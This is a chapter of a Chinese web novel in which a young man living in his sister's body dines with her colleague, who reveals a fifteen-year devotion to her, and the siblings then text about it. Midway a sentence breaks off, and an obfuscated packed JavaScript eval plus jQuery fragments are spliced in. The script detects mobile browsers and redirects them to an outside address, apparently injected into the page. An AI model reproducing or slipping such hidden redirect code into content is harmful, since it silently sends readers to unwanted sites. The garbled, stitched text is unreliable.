那顿饭吃了很久。
不是什么高档地方，就街边一家小馆子，门脸不大，里头几张木桌子，油渍渍的菜单压在玻璃板底下。
许则安点菜的时候没问她想吃什么，直接报了几个名字——干煸豆角，糖醋里脊，鱼香肉丝，西红柿鸡蛋汤。
沈渡舟听见那几样菜名不由得愣了一下，确实都是他姐平时在家爱吃的。
等菜的工夫，许则安给他倒了杯茶。茶叶末子泡出来的，颜色黄褐褐的，浮着几片碎叶。
沈渡舟端着那杯茶，不知道该说什么。
他对面坐着的这个人，貌似喜欢他姐，但他对这个人几乎一无所知。用沈知窈的身体跟他吃饭，总有一种偷穿了别人衣服的感觉，浑身不自在。
许则安倒是挺自然的，他问了几句工作上的事，又问了几句身体怎么样，像普通同事那样寒暄。
沈渡舟一一答了，用的都是他姐平时说话那种语气，不冷不热，不远不近。
菜上来之后，许则安把糖醋里脊和鱼香肉丝往他面前推了推。
“趁热吃，你以前最爱吃这个。”
沈渡舟握着筷子的手顿住了。
他以前也爱吃这个，可许则安说，“你以前”。
许则安口中的“你”，是沈知窈。
他夹了一块，放进嘴里。酸甜口，外酥里嫩，确实好吃。沈渡舟突然想起，他以前总爱跟沈知窈抢菜，多一筷子少一筷子他都要计较。
许则安自己也吃，吃得不快不慢，一边吃一边偶尔看他一眼。那种看不是盯着看，是看一眼，然后移开，过一会儿确认对方不反感，再试探性地将目光落到其身上。
沈渡舟见过这种眼神，在他那些兄弟看自己喜欢的姑娘的时候，差不多也这样。但许则安的眼神不一样，没那么热，没那么急，是温吞地沉在眼底，像炉子里快熄灭的炭火，不烧起来，但在灰烬里藏匿着，需要伸手去拨开。
“许老师，”沈渡舟开口，“你认识我多久了？”
许则安抬起头，温和道：“十五年了。”
“这么久？”沈渡舟暗暗吃惊。
“嗯。”他把筷子放下，端起茶杯喝了一口，“那时候你才十五岁，在东四胡同画槐树。”
沈渡舟在心里算了算，十五年前，他姐也十五岁，刚上高中。那时候她还会画画？会一个人跑去胡同里画树？
“你怎么知道那是我？”
许则安笑了笑。
“你穿着校服，那学校的校服我认识，我妹妹也念那所。”
沈渡舟没说话。他等着他往下说。
许则安想了想，像是在回忆。
“那是我第一次看到你，那天下午阳光很好，我路过那条胡同，看见你蹲在墙根底下，手里拿着一个本子，正在画什么。我走过去看了一眼——画的是一棵老槐树，树干很粗，树皮皴裂，枝叶茂密得把半边天都遮住了。”
他顿了顿，好似回忆起一件趣事，嘴角不由自主地微微翘起。
“我当时说，这棵树，我小时候爬过。你抬起头，看了我一眼。那个眼神……我到现在还记得。”
沈渡舟眼神有点复杂，没敢告诉他，以他对沈知窈性格的了解，她那个时候多半是想说“什么人这么装”。
“什么眼神？”
许则安低下头，手指在桌上轻轻敲了两下。
“很难形容，不是好奇，不是警惕，是另一种东西——像是你在看一样快要消失的东西，想把它记住。”
沈渡舟突然说不出话了。
他在想象那个画面，十五岁的沈知窈，蹲在胡同里画一棵即将被砍掉的树，阳光照在她身上，她抬起头，看了路过的年轻人一眼，那个人记住了那个眼神，记住了十五年。
罗曼蒂克式的相遇。
“后来呢？”
“后来你画完了，站起来拍了拍膝盖上的灰，就走了。我问你是哪个学校的，你说，我是陌生人，不给我说，就走了。”
“就这样？”
许则安笑了。
“就这样，那时候你甚至都不愿意多跟我说一句话，我连你名字都不知道。”
沈渡舟夹了一筷子干煸豆角，心酸地咀嚼着，豆角煸得挺干，有点焦香，但他不爱吃。
“那后来你怎么找到我的？”
“后来你来了我们学校，入职汇报那天，你站在台上，我坐在下面，一眼就认出来了。”
沈渡舟愣了一下。
“那么多年，你怎么认出来的？”
许则安想了想，认真道：“你的眼睛没变，还是那个眼神。”
沈渡舟握着筷子的手有点无措。
他姐的眼睛？他姐的那个眼神？被一个人记住了这么多年？
好感性的男人……
“那时候你已经不画画了。”许则安说，声音很轻，“你在台上讲你的研究，讲得很认真，看得出来，每一个字都是精心准备的，但感觉，你好像没有以前那么快乐了。”
沈渡舟没说话，许则安也没再往下说。他端起茶杯，喝了一口，看着窗外。
窗外是天色渐暗的街，路灯刚亮起来，昏黄昏黄的，有几个放学的中学生骑车经过，叽叽喳喳地笑闹着，车铃叮叮当当响成一片。
沈渡舟看着许则安的侧脸，灯光从外面照进来，把他的轮廓勾出一道浅金色的边，他眼睛望着窗外，不知道在看什么，想什么。
“许老师。”沈渡舟开口。
许则安转过头。
“你为什么觉得我不快乐？”
许则安沉默了几秒。
“说不清楚，可能是少了点什么，就像是……那种想记住什么的劲儿。”
想记住什么的劲儿，他姐以前有的。
沈知窈十五岁的时候，会一个人跑去胡同里画快要被砍掉的树。后来做了老师，做研究，写论文，但那种劲儿类似于一股灵气，随着年龄增长，好像确实快消磨殆尽了。
“你知道东四胡同后来怎么样了吗？”许则安问。
“拆了？”沈渡舟试探性回答。
许则安点点头。
“拆了，老槐树也砍了，那口井也填了，什么都没剩下。”
许则安顿了顿：“但是你画的那张画，我一直留着。”
“你那天画完，把本子合上就走了。我站在那儿，等了一会儿，风吹过来，把你本子里掉出来的一页纸吹到我脚边。”
沈渡舟张了张嘴，没说出话来。
“可能是你夹在本子里的，也可能是你没注意掉出来的。那一页上画的就是那棵槐树，画得挺细，连树皮上的裂纹都画了。”
他低下头，手指又敲了两下桌面。
“我本来想追上你还给你，但你已经走远了，后来我就自己留下了。”
沈渡舟一时不知道说什么，他很后悔今天和许则安出来吃饭。
他害怕今天许则安情不自禁表了白——这太不公平了，这是沈知窈的身体，沈知窈的身体，他没有权力答应也没有权力拒绝。
那张画，他姐十五岁画的槐树，许则安留了十五年。
“那张画还在啊？”沈渡舟干巴巴地笑了两声。
许则安点头，拿出手机打开相册：“在，我书房里，裱起来了。”
沈渡舟看着他，看着这个说话温温的、动作慢慢的、把一张画留了十五年的男人。他想起他姐那些年一个人扛着的事，想起他姐床头柜上的药瓶，想起他姐那张“活着就好”的便利贴。他想起他姐脸上那种累，那种很久没笑过的样子。
他端起茶杯，喝了一口，茶水已经凉了，有点涩口。
“许老师。”他放下杯子。
许则安看着他。
“你这些年，为什么不跟我说这些？”
许则安沉默了几秒。
“说不出口。”
“为什么？”
他想了想。
“你那时候太累了。我看着你，觉得你身上压了好多东西。我不知道那是什么，但我知道，你顾不上这些。”
沈渡舟没说话。
许则安继续说：“后来你有了男朋友，我更没理由说了。你看起来好像需要他，虽然我不觉得他……”
他顿住了，没说下去。
“不觉得他什么？”
许则安看了他一眼，那眼神里有什么东西一闪而过。
“不觉得他对你真的好。”
沈渡舟攥着茶杯，心中微微一哂。
“我找过你，但你没来，是林嘉文赴的约，他说，你不想再见到我，让我们别再见面了。”
他想起林嘉文的德行，想起他人模狗样的打扮，想起那些令人作呕的话。原来许则安那时候就看出来了。
沈渡舟说：“不是我亲口说的，你不要信。”
“我知道了，任何事，我等你亲口告诉我。”
沈渡舟坐在那儿，看着对面这个人。他穿着普通的深色外套，头发有点乱，脸上没什么表情，就是普普通通一个读书人。但他说的那些话，做的那些事，让沈渡舟心里像被什么东西轻轻撞了一下。
他想起沈知窈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345259|199519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那些年一个人走的路，他不知道那些路上有没有人看见她。但现在他知道了，有一个人，一直在看她。
不近不远，不打扰，等着她需要的时候，叫一声就来。
窗外的天彻底黑了，路灯亮成一片，街上的车流穿梭，霓虹灯闪烁无常，小馆子里热气腾腾，隔壁桌有人在大声说话，笑得开怀。
许则安叫服务员加了壶热水，给他续上。
“你最近好像没那么累了。”他说。
沈渡舟端起杯子，喝了一口，烫得他龇牙咧嘴，“是吗？”
许则安点点头。
“说话不一样了，看人也不一样了。”
沈渡舟心里一紧，“怎么不一样？”
许则安想了想。
“以前你说话，总是往回收的。每句话都说一半，剩下的一半吞回去。现在你说话……好像往外拿了，不内耗了，是好事儿。”
后来他们出了馆子，站在门口。夜风吹过来，凉凉的，带着点秋天晚上的意思。街上人少了，偶尔有车过，灯光扫过来，又扫过去。
“我送你回去。”许则安说。
沈渡舟摇头，“不用，我认识路。”
许则安没坚持，他站在那儿，手插在口袋里，风吹起他外套的下摆。
“那你自己小心。”
沈渡舟点点头。
他转身要走。
“沈老师。”
他停下来，回过头。
许则安站在路灯下，昏黄的光落在他身上。他看着沈渡舟，沉默了几秒，然后说了一句话。
“我会一直等你的，不管怎么样，我都会等。”
沈渡舟脚步一停，差点栽地上。
许则安没等他反应，转身走了。
他走得很快，几步就没入夜色里。路灯把他的影子拉得很长，一截一截的，最后消失在街角。
风吹过来，凉凉的。沈渡舟站在原地，想着刚才那句话。
他把手插进口袋里，往家走。
那天晚上他躺在那张硬邦邦的床上，盯着天花板上那道裂缝，很久没睡着。
窗外不知道谁家的狗叫了两声，又安静了。远处有车驶过，声音由远及近，又由近及远，最后什么都听不见了。
他翻了个身，依旧是睡不着，于是他拿起手机给沈知窈发了一条消息：“今天跟你那个同事一起吃饭了，就那个叫许则安的家伙。”
过了几分钟，那边回了：“怎么了？”
沈渡舟酝酿了半晌，回：“他好像喜欢你。”
沈知窈回：“我知道。”
沈渡舟愣了一下：“你知道？”
那边回：“嗯，但他没说过，我也没问过。更何况那个时候有林嘉文在，不合适。”
沈渡舟看着那条消息，心里有点堵。
“你知道那个时候他找你了吗，是林嘉文替你去的。”
沈知窈：“不知道，他什么时候找过我？和林在一起之后，他就再也没搭理我了。”
沈渡舟回：“林嘉文说你讨厌他，叫他不要来打扰你了。”
那边沉默了。
沈渡舟：“你们有误会，是不是？”
那边依旧没回消息。
很久之后，那边回了一句话：“不知道，再说吧。”
沈渡舟看着“再说吧”这三个字，心里更堵了。
他姐从来都是这样，什么事都往后推，什么话都憋在心里，什么人都先放一边……
亲爱的姐姐，你去测一下流行的MBTI，你肯定是个P人……
沈渡舟想起自己这些年对姐姐的态度——冷漠、抗拒、话里带刺。他一度以为沈知窈不需要他，不需要任何人。
他不知道沈知窈的别扭，两个人的别扭铸就一把伤人的利器，在日渐相处的模式中，把彼此割得血肉淋漓。
他拿起手机，又发了一条消息：“那个许则安，说要等你。”
那边回：“嗯。”
他回：“我还跟他说，‘不是我亲口说的你不要信’，是不是很像你的风格？”
那边回：“嗯。”
他回：“所以你要不要考虑一下？”
那边回：“沈渡舟，你别替我上班了，赶紧找个说媒的地方吧，你天赋异禀。”
沈渡舟看着那条消息，忍不住笑了。
他回：“胡说八道，你是我姐，别人的事我才不会管呢。”
那边回了一个表情，是一个翻白眼的小人。
他看着那个翻白眼的小人，笑着笑着眼眶却有点涩。